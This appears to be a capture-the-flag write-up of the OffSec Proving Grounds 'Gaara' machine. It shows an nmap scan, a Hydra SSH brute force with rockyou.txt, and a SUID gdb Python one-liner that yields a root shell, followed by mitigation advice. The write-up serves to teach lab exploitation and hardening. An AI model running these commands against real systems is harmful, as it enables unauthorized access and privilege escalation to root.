Gaara — SSH Brute Force + SUID gdb Shell Escape | OffSec PG Play

Gaara — SSH Brute Force + SUID gdb Shell Escape | OffSec PG Play | by Roshan Rajbanshi | in InfoSec Write-ups - Freedium Milestone: 20GB Reached We’ve reached 20GB of stored data — thank you for helping us grow! Patreon Ko-fi Liberapay Close < Go to the original Gaara — SSH Brute Force + SUID gdb Shell Escape | OffSec PG Play Gaara is a box that starts simply and ends the same way. There is only SSH and HTTP exposed, and the web server has nothing useful on it —… Roshan Rajbanshi Follow InfoSec Write-ups · ~5 min read · April 3, 2026 (Updated: April 3, 2026) · Free: Yes Gaara is a box that starts simply and ends the same way. There is only SSH and HTTP exposed, and the web server has nothing useful on it — just a single image. The way in is a brute force on SSH using rockyou.txt , which pops the gaara user in a reasonable time. Once inside, a SUID scan turns up something that does not belong: gdb . The GNU debugger with a SUID root bit set is an immediate game over. One GDB Python one-liner later, and the effective UID flips to root. Nothing exotic, just a weak password and a dangerous misconfiguration sitting right out in the open. Attack Path: SSH brute force (gaara) → SUID gdb GTFObins (root) Platform: OffSec Proving Grounds Play Machine: Gaara Difficulty: Easy OS: Linux (Debian) Date: 2026–03–24 Table of Contents 1. Reconnaissance 1.1 Nmap Port Scan 1.2 Web Enumeration 2. Initial Access — SSH Brute Force 3. Privilege Escalation — SUID gdb (GTFObins) 4. Proof of Compromise 5. Vulnerability Summary 6. Defense & Mitigation 6.1 Weak SSH Password 6.2 SUID Bit on gdb 1. Reconnaissance 1.1 Nmap Port Scan nmap -Pn -A -p- --open Results: Port State Service Version ------ ----- ------- ----------------------------------- 22/tcp open SSH OpenSSH 7.9p1 Debian 10+deb10u2 80/tcp open HTTP Apache httpd 2.4.38 (Debian) Two ports. The HTTP title came back as "Gaara" — clearly a themed box. Nothing else stood out from the scan. With a minimal surface like this, the web server was worth a quick look before moving to more aggressive approaches. 1.2 Web Enumeration curl http:// Output: That is the entire page. A single image, no links, no forms, no parameters, no hidden paths worth pursuing. Directory enumeration found nothing interesting either. The web server is a dead end. The only real attack surface here is SSH, and with a known username from the machine's theme — gaara — brute force is the logical next step. 2. Initial Access — SSH Brute Force With no other way in, Hydra was pointed at SSH using gaara as the username and rockyou.txt as the wordlist: hydra -l gaara -P /usr/share/wordlists/rockyou.txt ssh:// -t 4 Result: [22][ssh] host: login: gaara password: 1 of 1 target successfully completed, 1 valid password found Password found: . Logged in over SSH: ssh gaara@ # Password: Shell obtained as gaara . 3. Privilege Escalation — SUID gdb (GTFObins) First check after landing — SUID binaries: find / -perm -u=s -type f 2>/dev/null Output (notable entries): /usr/bin/gdb /usr/bin/sudo /usr/bin/su /usr/bin/passwd ... /usr/bin/gdb with the SUID bit set. GDB — the GNU Debugger — has no business being SUID root. This is a well-known GTFObins entry: GDB can execute arbitrary Python code at startup, and since it is running with root's effective UID, any shell spawned inherits that privilege. gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit Output: GNU gdb (Debian 8.2.1-2+b3) 8.2.1 ... # id uid=1001(gaara) gid=1001(gaara) euid=0(root) egid=0(root) groups=0(root),1001(gaara) euid=0 — root's effective UID. The -p flag on sh preserves the elevated effective UID rather than dropping it. Root shell obtained. 4. Proof of Compromise # id uid=1001(gaara) gid=1001(gaara) euid=0(root) egid=0(root) groups=0(root),1001(gaara) 5. Vulnerability Summary # Vulnerability Severity Impact -- ------------------------- -------- ----------------------------------------------- 1 Weak SSH password High SSH brute force gives initial user access 2 SUID bit set on /usr/bin/gdb High Local privilege escalation to root via GTFObins 6. Defense & Mitigation 6.1 Weak SSH Password Root Cause: The gaara account was protected by a password that appeared in the rockyou.txt wordlist — one of the most commonly used password lists in existence. Any attacker with network access to port 22 and a username could have found it. Mitigations: Disable SSH password authentication entirely. Set PasswordAuthentication no in /etc/ssh/sshd_config and use key-based authentication only. This eliminates brute force attacks against SSH. Enforce strong password policies. If passwords are required, use pam_pwquality a policy to mandate minimum length and complexity. A password like iloveyou2 this would fail any reasonable policy. Implement login rate limiting. Tools like fail2ban can detect and block IPs that are generating repeated failed SSH login attempts, slowing down or stopping brute force attacks. Configure it to ban after a small number of failures with an exponential backoff. Change the SSH port. Moving SSH off port 22 does not stop a determined attacker, but it eliminates the vast majority of automated scanning noise and reduces exposure significantly. Restrict SSH access by IP. If the set of machines that need SSH access is known, use AllowUsers directives or firewall rules to restrict which IPs can even reach port 22. 6.2 SUID Bit on gdb Root Cause: The SUID bit was set on /usr/bin/gdb , meaning any user who executed it would do so with root's effective UID. GDB is a debugger with rich scripting capabilities — it can execute Python, run shell commands, and call arbitrary system functions. SUID on a tool this powerful is equivalent to giving every user passwordless root access. Mitigations: Remove the SUID bit immediately. chmod u-s /usr/bin/gdb — There is no legitimate operational reason for a debugger to run as root via SUID. If root-level debugging is needed, it should be done through sudo with explicit logging and a specific user allowlist. Audit all SUID binaries regularly. Run find / -perm -u=s -type f 2>/dev/null as part of any system hardening process or scheduled security audit. Anything on that list that is not a standard system utility should be investigated immediately. Check GTFObins before granting elevated permissions. GTFObins documents dozens of binaries that can be abused when run with elevated privileges. Before setting SUID on any binary, or allowing it via sudo, check if it appears there. GDB is listed explicitly. Use AppArmor or SELinux profiles. Mandatory access control frameworks can restrict what a SUID binary can actually do, even if the bit is mistakenly set, limiting the blast radius of a misconfiguration like this. Principle of least privilege. Developers and users who need gdb for debugging should not require root — they should be debugging their own processes. If kernel or system-level debugging is genuinely needed, structure access should be through controlled mechanisms rather than a blanket SUID flag. OffSec PG Play — for educational purposes only. #cybersecurity #penetration-testing #ethical-hacking #pentesting #linux Reporting a Problem Sometimes we have problems displaying some Medium posts. If you have a problem that some images aren't loading - try using VPN. Probably you have problem with access to Medium CDN (or fucking Cloudflare's bot detection algorithms are blocking you).